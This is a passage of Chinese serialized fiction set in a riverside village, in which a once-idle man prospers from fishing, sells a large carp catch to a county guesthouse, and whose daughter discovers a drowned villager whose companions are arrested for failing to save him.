看着那两桶几乎要满出来的鲫鱼,再看看江涛那平静中带着专注的侧脸,心里像打翻了五味瓶。 震惊、难堪、不解,还有一丝连他自己都不愿承认的嫉妒。 老三什么时候有这本事了? 他不是只会游手好闲,惹是生非的吗? 刘翠花更是脸色一阵白一阵红,尴尬得恨不得找个地缝钻进去。 刚才那些刻薄的话,此刻像一个个响亮的耳光,抽在她自己脸上。 说别人闹笑话,现在她自己成了笑话! 看着那些肥美的鲫鱼,想到自家偶尔买点鱼还要掂量半天,而老三却像捡石头一样轻松捞上来这么多,她心里的酸水止不住地往上冒。 凭什么? 这个没出息的混子,怎么就突然转运了? 还当着贵客的面,出这么大的风头! “赵老板您过奖了,他就是瞎猫碰上死耗子,运气好罢了。” 江海勉强挤出一丝笑容,只想赶紧结束这难堪的局面,“船应该快到了,咱们去码头那边等吧,这边鱼腥味重……” “不急不急,” 赵老板却摆摆手,兴致勃勃,“这江边捕鱼,也是风土人情嘛。这位江同志,你这捕鱼的本事,是家传的?” 江涛将又一网鱼倒进桶里,这才直起身,擦了把额头的汗,对赵老板客气地笑了笑,“赵老板,谈不上本事,就是在江边长大,看得多了,摸得多了,大概知道鱼喜欢在哪儿待。今天也是运气好,碰上了。” “谦虚了。” 赵老板点点头,看了看那几大桶鱼,“这么多鲫鱼,你们打算怎么处理?自家吃肯定吃不完。” “拉到乡里或者县里卖掉。”江涛如实说。 “哦?能卖上好价钱吗?” “还行,野生鲫鱼,熬汤最鲜,城里人喜欢,价钱比普通鱼高些。” 赵老板若有所思,又看了看江涛那辆停在路边的自行车和车上捆着的简陋渔具,心里忽然闪过一个念头。 第62章 鲫鱼窝端了 草编厂设备陈旧,产品单一,市场萎缩,确实不是理想的投资标的。 而眼前这年轻人,有技术,有门路,就是这运输工具和规模,还停留在小打小闹的阶段。 有时候投资项目不如投资人。 若是能…… 他正想再聊几句,渡船鸣着汽笛,缓缓靠岸了。 “赵老板,船来了,咱们该上船了。”司机提醒道。 “好。” 赵老板对江涛点了点头,“江同志,有机会再聊。你这捕鱼,有点意思。” “赵老板您慢走。”江涛客气地道别。 江海如蒙大赦,赶紧陪着赵老板和司机往渡船走去。 刘翠花也低着头快步跟上,自始至终没再看江涛一眼,也没再看那几桶耀眼的鱼。 看着大哥大嫂那近乎落荒而逃的背影,江涛心里没什么波澜。 他蹲下身,和铁牛、赵老头一起,将最后几网鱼收拾好。 几大桶鲫鱼,加起来少说也有四五百斤,在阳光下银光闪闪,散发着收获的喜悦。 “涛子,这下发了!” 铁牛憨厚地笑着,满脸兴奋。 赵老头也感慨万分,“涛子,我老赵这回是真服了!你这感觉,神了!以后你说去哪,我就去哪,绝无二话!” 江涛笑了笑,看着满桶的收获,心里踏实。 有了今天的收获,加上之前的积蓄,建新房和买船的钱,就更近一步了。 至于,大哥大嫂那点小心思,他根本没放在心上。 路还长着呢,他要带着自家人,把这日子过得越来越好。 几大桶鱼,在岸边摆开,蔚为壮观。 收获的喜悦过后,一个现实的问题摆在眼前。 这么多鱼,怎么运回去? 八个大桶装得满满当当,靠自行车和人力肯定不行。 铁牛看着鱼发愁。 赵老头挠了挠头,忽然笑道:“涛子,你大哥刚才不是送那位赵老板过来坐摆渡吗?看那派头,不可能走过来,肯定是有单位派车。你这鱼……要不,跟你大哥说声,借他们单位的车用用?” 江涛没说话,只是看了赵老头一眼。 铁牛却瓮声瓮气地开口了,“赵叔,您就别开玩笑了。就他们刚才那样子,能借?不给我们使绊子就不错了!” “嗨,我就是开个玩笑嘛!” 赵老头哈哈一笑。 他当然知道不可能,就是随口一说,活跃下气氛。 “你大哥那脸,刚才拉得比驴脸还长,能借车才怪了。” 说曹操,曹操到。 江海夫妇送完赵老板和司机,正阴沉着脸往回走,恰好听见了赵老头后半句话和铁牛的反驳。 刘翠花本就憋了一肚子火,立刻像找到了发泄口,尖声道:“哟,还打上我们单位车的主意了?想得倒美!那是公家的车,是给领导办事用的,能给你拉鱼?弄得到处腥气,谁来负责?老三,不是我说你,就凭你捞这几条鱼,还想用公家的车?做梦呢!” 江海也沉着脸,停下脚步,拿出当大哥的派头,义正辞严地训斥道:“涛子,做人要脚踏实地,不要有点小成绩就得意忘形,甚至想些不切实际的事情!单位的资源是公家的,是用来服务集体生产的,不是给你个人行方便的!你这种行为思想,很危险!!” 说完,冷哼一声,拉着还想继续骂的刘翠花,转身就走,仿佛多待一秒都会被鱼腥味熏到。 铁牛气得拳头都捏紧了,脸涨得通红,瞪着江海夫妇远去的背影,胸膛剧烈起伏。 “涛子,他们、他们也太欺负人了!凭什么这么说你!我、我去找他们理论!” “行了,铁牛。” 江涛伸手拦住他,“跟一个厂子快倒闭,自己都快要下岗的人计较什么?不值当。” “啥?草编厂要倒闭?江海要下岗?” 赵老头耳朵尖,立刻凑了过来,一脸八卦,“涛子,你听谁说的?我怎么听说他们厂最近还在想办法拉投资呢?” 江涛笑了笑,“拉投资?就他们那破草编厂,设备老旧,产品卖不出去,工人工资都快发不出来了,哪个冤大头会往里砸钱?我大哥那人您还不知道?死要面子,打肿脸充胖子罢了。他越是装得人五人六,越是说明心里没底。算了,不提他们,扫兴。” 赵老头听得一愣一愣的。 虽然觉得江涛说得有点玄乎,但想想江海刚才那色厉内荏的样子,又觉得似乎有点道理。 “那……咱们这鱼咋办?” “还能咋办?去借老张的板车呗,再跑一趟。” 江涛早有打算,“铁牛,你腿脚快,去老张家,就说再借用一下板车,到时给他两块钱。赵叔,咱们先把鱼桶挪到路边树荫下,别晒死了。” “哎,好!” 铁牛应了一声,撒腿就往村里跑。 赵老头也赶紧动手帮忙。 两人合力,将沉重的鱼桶一个个抬到路边阴凉处。 江招娣和江盼娣也没闲着,趁着大人们说话搬鱼的功夫,两人悄悄将带来的几个地笼拖到水边。 “爸爸,爸爸,地笼还没下呢!”江招娣喊道。 “对呀,刚才光顾着看热闹,都忘了下地笼了!”江盼娣也兴奋地附和。 江涛走过来,看了看两个女儿,笑道:“行,那咱们就把地笼下了。来,爸爸教你们怎么放诱饵。” 他随手从桶里捞起几条最小的小鲫鱼,捡了块石头敲成小块,分别塞进几个地笼的诱饵笼里。 “这样,虾啊、泥鳅啊、小杂鱼啊,闻着味儿就进去了。” “嗯嗯!” 两个丫头用力点头,眼睛亮晶晶的。 在江涛和铁牛的帮助下,她们小心翼翼地将几个地笼沉入岸边水草丰茂的浅水区,用绳子固定在岸边的木桩上。 做完这些,老张也推着板车,跟着铁牛气喘吁吁地赶来了。 看到路边那八大桶银光闪闪的鲫鱼,老张也惊得合不拢嘴。 “我的老天爷,涛子,你们这是把江里的鲫鱼窝给端了啊!” 没想到老张竟然跟着来了。 江涛看向铁牛,用眼神询问。 铁牛小声解释,“张叔非要跟来帮忙,说昨天得了五块钱,过意不去,今天出点力气。我拦不住。” 原来是食髓知味,还想多结个善缘。 江涛了然。 “运气好,张叔,又得麻烦您了。”江涛笑着,递过去两块钱。 “不麻烦,不麻烦!这有啥麻烦的!” 老张乐呵呵地接过钱,跟铁牛、赵老头一起,将鱼桶稳稳当当地搬上板车,用绳子捆扎结实。 老张抢着帮忙推沉甸甸的板车,赵老头在旁扶着。 铁牛没闲着,把散落在岸边的渔网收拾利索,放到自行车后座。 江涛推上自行车,一行人说说笑笑,准备往村里走去。 江招娣和江盼娣却不想回去,地笼下在这儿,她们还想等着收呢。 “爸爸,我们在这儿玩一会儿,等下看能捞到虾不。”江招娣央求道。 江涛看天色还早,渡口也算人来人往,也还安全,便同意了。 “行,你们玩一会儿,别下水。等会儿让铁牛叔回来接你们。” 铁牛见状,主动说:“涛子,你们先回,我留下陪着她俩,顺便看着东西。” “那行,铁牛,麻烦你了。” 鲫鱼得赶紧运回去养起来,活的才能卖上好价钱。 江涛、赵老头和老张便先推着板车回村。 第63章 表忠心 江涛一行推着板车回到家,刚卸下八大桶鲫鱼,就引来不少村民围观。 “我的天!这么多鲫鱼!这得捞了多久啊?” “这鱼真肥,看看这鳞片,银亮亮的!” “涛子这是真行啊,昨天螃蟹,今天又是这么多鲫鱼!” “乖乖,这得卖多少钱啊?” 林月柔带着几个小丫头闻声出来,一见满地的鱼,又惊又喜。 “这、这么多?” 她连忙招呼老三江来娣和其他几个丫头帮忙拿盆接水。 可家里的盆桶全用上也不够装啊。 怎么办? 正一筹莫展,铁牛娘、赵老太和附近几户相熟的邻居,都主动把自家的大盆、水桶都拿了过来。 “月柔,用这个盆!” “我这儿还有个洗菜的大木盆,能装不少!” “谢谢婶子,谢谢大娘!” 林月柔一边道谢,一边手脚麻利地和丫头们一起将鱼分装到各个容器里,尽量不让鱼太拥挤。 一时间,江涛家院子里摆了长长一排容器,银亮的鱼儿在里面游动,挤挤挨挨,场面颇为壮观。 看着这么多鱼,她心里又是欢喜又是发愁。 这么多鱼可怎么处理,可不比螃蟹耐活。 江涛也没闲着,凡是主动借了盆桶的,他都捞了四条最肥壮的鲫鱼送给人家。 “大娘,辛苦您跑一趟,这几条鱼拿回去给孩子熬汤。” “嫂子,谢谢啊,这点鱼不成敬意。” 借盆的邻居本来只是热心帮忙,没想到还能得这么好的鲫鱼,都高兴得合不拢嘴,连声道谢,提着鱼喜滋滋地回家去了,嘴里还不住地夸江涛会做人。 “涛子这孩子,现在真是出息了,懂礼数!” “就是,以前看着不着调,现在真是大变样!” “跟着涛子,总能沾点光!” 老张也贡献了自家两个大钢盆,看着那满地的鱼,心里也眼热得很。 “涛子,这么多鲫鱼,可得赶紧卖,时间长了不精神,价钱就跌了。” “要不,我再用板车帮你推到乡里去?我脚程快,天黑前保证能到!” 看着老张跃跃欲试的样子,江涛心里明白,老张是想再挣一次跑腿钱。 但推这几百斤的板车到乡里,路不近,还不把人累死? “张叔,您的好意我心领了。这么多鱼,板车推去乡里不现实。没事,我有县里两家单位的电话,打个电话让他们开车来拉就行。” “打、打电话?让县里开车来拉?” 老张嘴巴张了张,半天没说出话来。 这、这卖鱼都卖出大爷派头了? 一个电话,县里的单位就得开车上门来收? 唉,还想再挣点辛苦费呢! 可惜人家根本用不上他这笨办法。 老张悻悻推起自己的空板车,准备回家。 这趟也就挣了两块钱跑腿费,跟昨天那五块可差远了。 江涛看他那失落的表情,转身弯腰从水盆里捞了十来条最肥壮的鲫鱼。 “张叔,今天辛苦您跑了一趟。这几条鱼您拿回去,熬汤补补身子。” “哎哟,这、这怎么好意思!” 老张一愣,随即脸上笑开了花,连忙接过鱼,沉甸甸的,少说也有五六斤! 差不多十块钱了。 “谢谢涛子!以后有什么事,尽管招呼我!反正我平时在家也没什么要紧事,随叫随到!” 赵老头在旁边看着,心里有点不舒服了。 这老张,昨天得了五块钱,今天又拿钱又拿鱼,这是占便宜占上瘾了? 哼,还敢在那儿表忠心! 怎么着,这是也想挤进来,跟自己一样,以后跟着涛子一起干,也分一杯羹? “老张,你家里不是还指着编筐卖钱吗?哪有那么多闲工夫?”赵老头忍不住呛了一句。 老张嘿嘿一笑,“编筐子什么时候都能编,不急。涛子这里的事要紧,帮忙是应该的!” 说完,美滋滋地提着鱼,推着板车走了。 赵老头被噎了一下,心里更气了。 引狼入室啊! 这个老张,平时看着老实巴交,没想到心思这么活泛! 好好的编筐营生不干,非得来凑什么热闹! 江涛看着好笑。 这赵老头还吃上醋了。 “赵叔,家里这么多鱼,得有人看着。您辛苦一下,在家帮我照看着点。我去村公所打个电话,联系一下县里,让他们过来拉鱼。” 赵老头一听,这是把看家护院的重要任务交给自己了,腰板立马挺直了几分。 “行!涛子,你放心去!家里我看着,保证一条鱼也少不了!哪个王八羔子敢来,我打断他的腿!” “嗯,辛苦赵叔了。月柔,你给赵叔倒点水。” 江涛安排妥当,推出自行车,骑上就往村公所赶去。 到了村公所,江涛找到村支书李满仓,说明来意,想借用一下电话联系县里单位。 “用电话?行啊,用吧,在那边桌上。” 李支书很爽快,指了指角落那张摆着黑色木匣子的桌子。 “谢谢李支书。” 江涛从口袋里掏出一块钱递过去,“这是电话费,您拿着。” “哎,涛子,你这是干什么?” 李支书连忙推辞,“打个电话而已,要什么钱?再说这是公家的电话,又不是我家的。你快收回去,赶紧打你的电话要紧!” “一码归一码,李支书,我不能白用公家的东西。您就拿着吧,给村里添点茶水钱也好。” 江涛坚持把钱塞到李支书手里。 规矩就是规矩,现在占了便宜,以后别人也能占,公家的东西就乱了。 他不能开这个头,也不想欠这种小人情。 李支书见江涛态度坚决,也就不再推辞,收了钱,心里对江涛的懂事和原则性又高看了一眼。 “行,那李叔就厚脸皮收下了。你快打吧,别耽误事。” 江涛走到电话旁,拿起听筒,心里却有些踌躇。 打给高主任,还是刘主任? 鲫鱼不是特别名贵的货,但也算时鲜,两边应该都要。 可两边都打电话,不现实,也就五六百斤鱼,犯不着让人家派两辆车来。 而且万一两边都来了,他这点货不够分,反而得罪人。 他想了想,决定先打给高主任。 毕竟,几次合作都很愉快,高主任为人也爽快。 他拨通了高主任单位的号码,电话响了几声,没人接。 他又拨了一次,还是没人接。 看来高主任要么不在办公室,要么在忙什么事情。 怎么办? 要不再等等? 江涛看了看外面的天色,心里焦急,又等了几分钟,再次拿起电话拨过去,依然无人接听。 唉,那就没办法了,他那鱼不等人啊。 从江边弄回来时,桶里都没放多少水,后续就算用水养着,时间一长还是很容易死的。 那就打给刘主任吧。 刘主任不一直说招待所用量更大,对他也极尽热情。 总不能一直拒人于千里之外。 他拿起听筒,拨通了县招待所采购科的电话。 这次,电话响了几声就被接起来了。 “喂,哪位?”是刘主任的声音。 “刘主任您好,我是江涛。” “江涛同志?哎呀,你可算来电话了!” 刘主任的声音立刻热情起来,“我还以为你把我们招待所给忘了呢!怎么,捞着什么好货了?” “刘主任,今天在江边捞了些鲫鱼,大概五六百斤,都是野生的,想问问您那边需不需要?” “鲫鱼?野生鲫鱼?好东西啊!五六百斤?要!当然要!” 刘主任声音都高了八度,“你现在在哪儿?我马上安排车过来拉!还是按市价,不,鲫鱼好,我给你个实诚价,一斤两块一,怎么样?” 两块一,这价格很公道了。 “行,刘主任,就按您说的价。我现在在村里,等您车来了,咱们再过秤。” “好!等着,我这就让司机开车过来!最多一个小时准到!” 挂了电话,江涛松了口气。 还好,货总算有出路了。 第64章 流尸 “涛子,你这是又捞着鲫鱼了?还五六百斤?” 李支书在旁听了个大概,顿时大吃一惊。 前几天江涛才捞上来几百斤鲢鳙,这又弄了几百斤鲫鱼? 这小子是捅了鱼窝不成? 当然,他还不知道江涛这期间还捞到过鲤鱼、刀鱼和螃蟹。 要是知道了,恐怕就不只是惊讶,而是觉得这是神迹了。 “是啊,李支书,运气还行。” 江涛笑了笑,“走得匆忙,忘了给您带几条尝尝鲜,等会儿车来拉了,我给您留几条最大的。” “嗨,这有啥,不用不用!” 李支书摆摆手。 知道江涛这是客气,但这份心意他领了。 不过,他心里对那几百斤鲫鱼也好奇得很,想亲眼看看。 “涛子,我跟你一起过去看看。这么多鱼,你也得有人帮忙过秤、维持秩序不是?” “行啊,李支书,那太感谢您了!” 江涛心中一喜。 李支书跟他回去,正好给他拿几条鱼,省得回头再专程送了。 “走。” 李满仓骑上自行车,跟着江涛回到他家。 一进院子,看见满地的盆盆桶桶,他惊得合不拢嘴。 之前那几百斤鲢鳙把吉普车压得沉甸甸的,他就已经觉得不可思议。 现在这满地鲜活的鲫鱼,更让他震撼得说不出话来。 妈呀,这也太吓人了! 这得是多少鱼啊! “我的老天爷,涛子,你这……” 李支书绕着那一排盆桶走了一圈,啧啧称奇,“你这运气,真是没得说!不,这已经不是运气了,这是本事!” “李支书您过奖了,主要还是江里东西多,碰上了。” 江涛谦虚道,招呼李支书坐下喝茶。 赵老头也热情地跟李支书打招呼,脸上带着与有荣焉的光彩。 三人闲聊着,等着县里的车来。 而此时,江边渡口。 江招娣、江盼娣和铁牛,兴致勃勃地将几个沉甸甸的地笼拖上岸。 “哇!好多鱼虾!” 江盼娣扒着地笼口往里看,兴奋地小脸通红。 里面有活蹦乱跳的江虾,有扭来扭去的泥鳅,有手指长的穿条鱼,还有巴掌大的猪舌头鱼…… 可谓收获颇丰。 可惜带来的几个水桶都装鲫鱼运回去了,她们只能直接把地笼拎回家。 要不然,再下一次地笼,收获肯定也差不了。 铁牛力气大,一人拎五个地笼不在话下。 但江招娣怎么可能让他一个人全拿? 她帮着拿了两个轻点的,江盼娣也自告奋勇要拿一个。 “二妹,你行不行?别摔了。”江招娣不放心。 “我能行!大姐你看不起人!” 江盼娣撇撇嘴,非要自己拎一个。 哼,这可是她参与捞的,回家要跟爸爸好好炫耀,说不定爸爸一高兴,又能多给她吃几个螃蟹。 几人离开渡口,沿着江边小路往回走。 江盼娣走在最边上,眼睛还不住地往江面上瞟,希望能再发现点什么。 忽然,她看见靠近岸边的江面上,顺水漂下来一个黑乎乎的东西,在浑浊的江水里若隐若现。 看那形状,好像……好像是一条特别特别大的鱼,比爸爸之前捞的大鲢鳙都要大! 江盼娣的心“咚咚”跳起来,眼睛都亮了。 要是她能发现一条大鱼,告诉爸爸,爸爸肯定能捞上来! 那她不就是大功臣了? 到时候别说几只螃蟹,说不定那一水缸的螃蟹都是她的! 而且大姐和铁牛叔都没看见,这是她一个人发现的! 她越想越美,没想喊就在前面几步远的江招娣和铁牛帮忙。 这是她的功劳,她要自己先看清楚! 她赶紧放下手里的地笼,跑到水边,找了根长长的枯树枝,伸长胳膊,想等那大鱼漂近点时用树枝把它拨到岸边。 那东西随着水流慢慢靠近,江盼娣紧张又兴奋地等着。 终于,那东西漂到了离岸边不远的水域,似乎被水草挂了一下,微微侧翻了过来。 江盼娣终于看清了那东西的一部分。 那不是什么鱼,而是被江水泡得肿胀的……人! 一个仰面朝上的人! 脸色青白,双目圆睁,嘴巴微张,似乎还在看着她! “啊——!!!” 江盼娣脸色瞬间惨白如纸,瞳孔因为极度恐惧而放大。 她连地上的地笼都顾不上了,用尽全身力气,没命地朝着家的方向狂奔,边跑边发出撕心裂肺的哭喊。 “鬼啊!有鬼啊!江里有死人!流尸!是流尸!爸爸!妈妈!哇——!!!” 铁牛和江招娣被这突如其来的变故吓了一跳,只看见江盼娣疯了一样跑过去。 “二妹!盼娣!你怎么了?!” 江招娣急得大喊,想追上去,又忍不住看向江面。 可除了微微荡漾的水波,她什么也没看见。 铁牛也懵了。 放下地笼,快步跑到江盼娣刚才站的地方。 朝江里仔细看了看,除了水草和漂浮的枯枝,并没有发现什么异常。 “招娣,你看清什么了吗?”铁牛皱眉问道。 “没有啊,我就看见二妹往江里看,然后就突然叫起来跑了。”江招娣心慌意乱。 “流尸?” 铁牛心里一沉。 在江边长大的人,对这两个字有着天然的敬畏和恐惧。 难道盼娣真看见了不干净的东西? 或者说,真有人淹死了? “先别管了,赶紧回去看看盼娣!” 铁牛当机立断,捡起江盼娣拉下的地笼,赶紧朝江盼娣跑走的方向追去。 江招娣连忙跟着铁牛往回跑。 二妹到底看见了什么? 怎么会吓成那样? “……流尸!江边有流尸!” 江盼娣跑得飞快。 当江招娣和铁牛气喘吁吁地赶到家时,她已经吓得浑身筛糠,嘴唇发白,死死抓住林月柔的衣襟,语无伦次地哭喊:“鬼!是鬼!在江里漂着!看着我!看着我!” “流尸?” 李支书霍地站起来。 这都好久没听说过江里有流尸了。 十年前,滨江段倒是发现过一具,惊动了县公安局,上面也派了人来查,闹得沸沸扬扬。 那尸体据说都泡得不成样子了,也不知道是从哪段江面飘下来的,有传言说是经过的货船出了事,也有的说是刑事案件抛尸,反正众说纷纭。 但上面调查了许久,也没对外公布明确结果,最后好像定性为失足落水,不了了之。 现在这又出现了? 这可是人命关天的大事! 第65章 王癞头淹死了 李支书不敢怠慢,人命关天,必须立刻去现场查看。 他赶紧招呼几个在附近探头探脑的村民:“老张,老李,还有你们几个,都别看了,跟我一起去江边看看!带上竹竿绳子!” 江涛和赵老头自然也想跟过去。但这还等着卖鱼呢。不过,刘主任的车一时半会儿也到不了 “铁牛,你留下看着鱼,等会儿县里车来了,到江边喊我。” “我也去!” 江盼娣也想跟去看看,万一爸爸需要帮忙呢? “招娣,你就别去了,在家照看妹妹。” 江涛制止了江招娣,转头看向缩在林月柔怀里,浑身发抖的江盼娣,“盼娣,你还记得在哪儿看见的吗?能带爸爸和支书爷爷去看看吗?” 江盼娣吓得一哆嗦,拼命往林月柔怀里钻,脑袋摇得像拨浪鼓。 “我不去!我不去!那里有鬼!他瞪我!” “算了,涛子,别逼孩子了,她吓坏了。”林月柔心疼地搂紧女儿。 “要不,我去吧。” 江盼娣自告奋勇,“我知道二妹大概在哪儿看到的。我胆子大,我不怕。” 反正没看到流尸的样子,她也没觉得多害怕。 “行,你带路,但到了地方不许靠近水边,就在岸上指一下就行。”江涛叮嘱。 “嗯!” 李支书点了几名胆大心细的村民,拿上长竹竿、绳子和几块破布,一行人急匆匆赶往江边渡口。 到了渡口附近,江盼娣指着一处地方,“二妹大概就在这附近,她当时走在我和铁牛叔后面,就在那边水边停下了。” 众人沿着那片水域仔细搜索。 江面还算平静,除了水草和偶尔漂过的枯枝,似乎没什么异常。 找了约莫一刻钟,一个眼尖的村民指着下游十几米外的一处芦苇荡边缘喊道:“支书,你们看那儿!是不是卡着个东西?” 众人顺着他指的方向望去,只见那边水流有个小回旋,形成一片相对平静的水湾,水边长满了茂密的芦苇。 在靠近水面的芦苇根部,似乎卡着一个黑乎乎的东西,不仔细看还以为是水草团或者一截烂木头。 “原来飘到那儿了!肯定是被水流冲下去,又让芦苇给挡住了,怪不得我和铁牛叔回头看时没发现。”江招娣分析道。 这孩子还真是胆大。 江涛没说话,只默默将她护在身边。 “过去看看,小心点。”李支书沉声道。 几个村民壮着胆子,用长竹竿试探着去拨弄。 竹竿碰到那东西,传来一种不同于木头的沉钝感。 用力一挑,那东西翻动了一下,露出了泡得发白浮肿的肢体和部分衣物。 “真是个人!”一个村民倒吸一口凉气。 “快,用绳子套住,小心拉上来!”李支书指挥道。 几个村民用竹竿和绳子,费了好大劲,才将那具被水泡得肿胀的尸体从芦苇丛里拖上岸。 尸体脸朝下趴着,身上穿着脏污不堪的蓝色衣服,头发湿漉漉地贴在头皮上。 “翻过来看看。”李支书忍着不适说道。 两个村民用棍子小心翼翼地将尸体翻了过来。 当那张被江水泡得惨白浮肿,五官都有些变形的脸露出来时,现场所有人都愣住了。 “这、这是……王癞头?!”一个村民失声叫道。 虽然脸泡肿了,但那熟悉的眉眼和脸上标志性的几颗大麻子,还是让经常在村里游荡的王癞头被轻易认了出来。 “还真是他!” 赵老头也认了出来,脸上表情复杂,“昨天还看见他跟几个闲汉在村里晃荡,怎么今天就……” 江涛看着地上王癞头的尸体,心里也咯噔一下。 昨天就是这几个家伙还想偷他家东西吧? 怎么今天就淹死在江里了? 是意外失足,还是…… 李支书的脸色更加难看。 村里出了人命,还是这种不清不楚的淹死,他这个支书责任重大。 “行了,都别围着了。去个人,赶紧跑回村,骑自行车去乡里派出所报案!就说在江边发现一具男尸,是我们村的王癞头,让公安同志赶紧过来!其他人,离远点,保护现场,等公安来了再说。” 立刻有腿脚快的村民应声往村里跑去。 其他人也依言退开几步,但目光都还忍不住瞥向王癞头那具浮肿的尸体。 村民们低声议论着,猜测着王癞头怎么会淹死。 江涛心里却有些疑窦。 王癞头虽是个闲汉,但在江边长大,水性应该不差。 怎么会轻易失足落水淹死? 而且,他平时跟另外几个闲汉形影不离,他们人呢? 是不是知道些什么? 他凑近李支书,“李支书,我觉得应该把跟王癞头经常混在一起的那几个闲汉控制起来。他们昨晚还跟王癞头一起,或许知道些什么情况,别让他们听到风声跑了。” 李支书深以为然,连连点头,“对对,涛子你说得对!是得把他们看起来!” 他立刻吩咐另外两个可靠的村民:“你们俩,赶紧回村,悄悄把跟王癞头常混在一起的刘狗子、程胖子,还有马三找到,看住了,别让他们出村,等公安来了问话!注意,别声张,就说村里找他们有事。” “是,支书!” 留下几个胆大的村民在江边看着现场,李支书、江涛、赵老头和江招娣则赶紧返回村里。 刚到村口,就看见铁牛急匆匆跑过来,“涛子,李支书,县里的车来了,刘主任也来了!” 几人加快脚步回到家。 果然,一辆县招待所的绿色小卡车停在门口,刘主任正背着手,饶有兴致地看着院子里那一排银光闪闪的鱼。 见到江涛,他哈哈笑着迎上来,“江涛同志,你这阵仗可真不小啊!嚯,这么多鲫鱼,个个鲜活,太好了!我们招待所全要了!” “刘主任,欢迎欢迎。不过,现在村里出了点事……” 江涛连忙将王癞头淹死,以及自己建议控制另外两个闲汉的事简单说了一下。 刘主任一听,脸色也严肃起来,人命案可不是小事。 “那这鱼……” “鱼肯定是要卖的。刘主任,您要是有急事,咱们可以先大概过一下秤,您把鱼拉走,钱等公安这边事完了,我再去找您结账也行。”江涛说道。 刘主任摆摆手,“不急,鱼在这儿跑不了。我正好看看热闹,啊不,看看村里有什么需要帮忙的。江涛同志,你说要控制那几个闲汉?这好办,我带了司机和小王,加上你们村里的人,抓,不,请那几个闲汉过来问问话,还不是手到擒来?走,我跟你一起去!” 江涛心里一暖,没想到这刘主任倒是个热心肠。 “那太谢谢刘主任了!有您的人帮忙,那就更稳妥了。” 第66章 江里捞金 李支书派去控制刘狗子、程胖子、马三的村民扑了个空。 三人家的破土屋门都开着,里面空无一人,左邻右舍说一大早看见他们跟王癞头一起出门后就没见回来。 村民们不敢耽搁,赶紧回来向李支书汇报。 “家里没人?” 李支书眉头紧锁, “这更加说明王癞头死得蹊跷,他们很可能知道内情,现在畏罪潜逃了!” “涛子,你说他们会去哪儿呢?” 他下意识地看向江涛,虽没指望一个年轻人能拿什么主意,但多个人商量总没错。 江涛皱眉思索。 这几个闲汉平时以王癞头为首,如今王癞头一死,他们又集体消失。 这其中肯定有什么幺蛾子。 可在这乡下地方,他们能跑到哪儿去? 回各自家怕被堵,去外地又没钱没门路。 这时,小卖部老邹闻讯凑了过来。 “李支书,涛子,你们说他们会不会躲到宋二那儿去了?最近这几个小子跟宋二可是勾搭得挺紧,前几天还在我那小卖部门口嘀嘀咕咕,好像说要一起搞什么事。” “宋二?” 李支书眼睛一亮。 这倒是个方向。 反正现在也没别的线索,去看看总没错。 “行,老邹,你带路,再叫上几个人,咱们去宋二家看看!” 刘主任见状,也立刻让自己的司机小王跟着一起去帮忙,“多个人多个帮手,万一他们狗急跳墙呢。” 一行人来到宋二家。 院门紧闭,里面却隐约传来说话声。 李支书使了个眼色,几个村民立刻上前,一边拍门一边喊:“宋二,开门!支书找你!” 里面一阵慌乱的动静,然后是宋二故作镇定的声音:“谁啊?瞎吵吵什么?我睡觉呢!” “少废话!开门!有急事!”李支书厉声道。 门开了。 宋二披着件外衣,脸上带着被打扰的不耐,但眼神却闪过一丝慌乱。 他身后堂屋里,刘狗子、程胖子、马三正挤在一起,脸色发白,神情惊恐。 “哟,都在呢?” 李支书冷笑一声,挥挥手。 几个村民和刘主任的司机立刻上前,将几人看住。 “李支书,您这是干什么?我们哥几个在宋二这儿聊聊天,犯法了?”刘狗子色厉内荏地喊道。 “聊天?” 李支书盯着他,“王癞头死了,你们知道吧?你们一直跟他一起,现在他死了,你们却躲在这儿聊天?” 一听王癞头死了,刘狗子三人脸色更白了,身体不由自主地抖起来。 宋二也是脸色一变。 “他、他怎么死的?我们不知道啊!”程胖子结结巴巴地狡辩。 “不知道?那你们躲什么?”刘主任的司机小王喝道。 眼看瞒不过去,在众人逼问下,刘狗子三人终于崩溃,断断续续说出了经过。 昨天他们偷小卖部不成,又跑去江涛家,反倒被螃蟹夹了一通,憋了一肚子气。 几人眼红江涛捞鱼发财,就商量着今天一早也去老拗口碰碰运气。 天不亮,王癞头就带着他们出了门。 可老拗口水深流急,他们撒了几网,不是空网就是挂底,连个鱼鳞都没捞着。 王癞头又急又气,怪另外三人笨手笨脚,耽误了他发财。 几人吵了几句,推搡起来。 混乱中,站在水边石头上的王癞头脚下一滑,失足跌进了老拗口湍急的深水里! 刘狗子三人正在气头上,以为王癞头水性好,自己能游上来,就没立刻下水去救。 谁知老拗口下面有暗流漩涡,王癞头扑腾了几下,竟被卷了进去,很快就不见了踪影! 三人这才慌了神,在岸边喊了半天,也没见人上来。 他们又怕又悔,不敢声张,偷偷溜回了村。 本想回家躲着,又怕被人发现,就想到平时对他们还算关照的宋二。 宋二今天上午才从乡里野回来,本想找王癞头商议点事,没想到一回来,刘狗子三人就哭丧着脸找上门。 三人把事情一说,宋二也吓了一跳。 这事非同小可,是见死不救,搞不好要惹上官司。 他一边骂三人蠢,一边跟他们一起商量对策,看是跑路还是怎么着。 还没商量出结果,李支书就带人找上门了。 李支书气得脸色铁青,“你们这叫见死不救!这是人命!” 正说着,乡里派出所的公安也赶到了。 了解了初步情况后,公安同志面色严肃,当场宣布:“宋二、刘狗子、程胖子、马三,你们四个,涉嫌与王癞头死亡事件有关,请跟我们回派出所协助调查!” 说罢,给四人戴上手铐,押上了警车。 宋二嚷嚷自己是无辜的,只是收留,但公安根本不理,直接带走了。 江边王癞头的尸体自然也被法医拖走了。 看着警车远去,村民们议论纷纷。 “这叫什么事儿,想学人家发财,结果把命搭进去了。” “活该!让他们平时不学好,净想着歪门邪道!” “可不是嘛,老天爷都看不下去了!这就是报应!” “就是,心术不正,早晚出事!” 江涛心里叹了口气。 王癞头几人可恨,但落得这个下场,也挺令人感慨。 不过,这也算是咎由自取吧。 这个插曲过后,刘主任重新提起了买鱼的事。 一行人回到江涛家,开始过秤。 除了留下一部分自家吃的,其他总共五百四十七斤,一斤按两块一算,总共一千一百四十八块七毛。 刘主任爽快地数了一千一百五十块给江涛,“零头就别找了,凑个整!” 铁牛和赵老头很淡定,他们昨天卖螃蟹也是一千多块。 但不经意间看到这一幕的李支书,可就震惊了。 一千多块钱! 就这么到手了? 这才一天不到的功夫! 这捞鱼也太挣钱了吧? 一天就上千块进账? 当然,他不知道江涛前两天五条金鲤就挣了三千块。 要是知道,恐怕就不只是惊讶,而是觉得江涛简直是在江里捞金了。 